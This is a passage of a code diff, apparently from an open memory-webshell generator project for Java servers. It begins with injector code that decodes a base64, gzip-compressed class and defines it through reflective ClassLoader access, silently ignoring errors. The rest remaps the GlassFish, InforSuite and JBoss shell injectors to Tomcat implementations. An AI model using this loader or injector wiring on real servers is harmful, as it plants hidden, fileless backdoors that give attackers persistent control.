|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
@@ -43,12 +43,12 @@ public class GlassFish extends AbstractServer {
|
|||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, GlassFishFilterInjector.class)
|
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
@@ -28,8 +28,8 @@ public class InforSuite extends AbstractServer {
|
|||||||
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.*;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatProxyValveInjector;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -27,8 +23,8 @@ public class Jboss extends AbstractServer {
|
|||||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
|
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Reference in New Issue
Block a user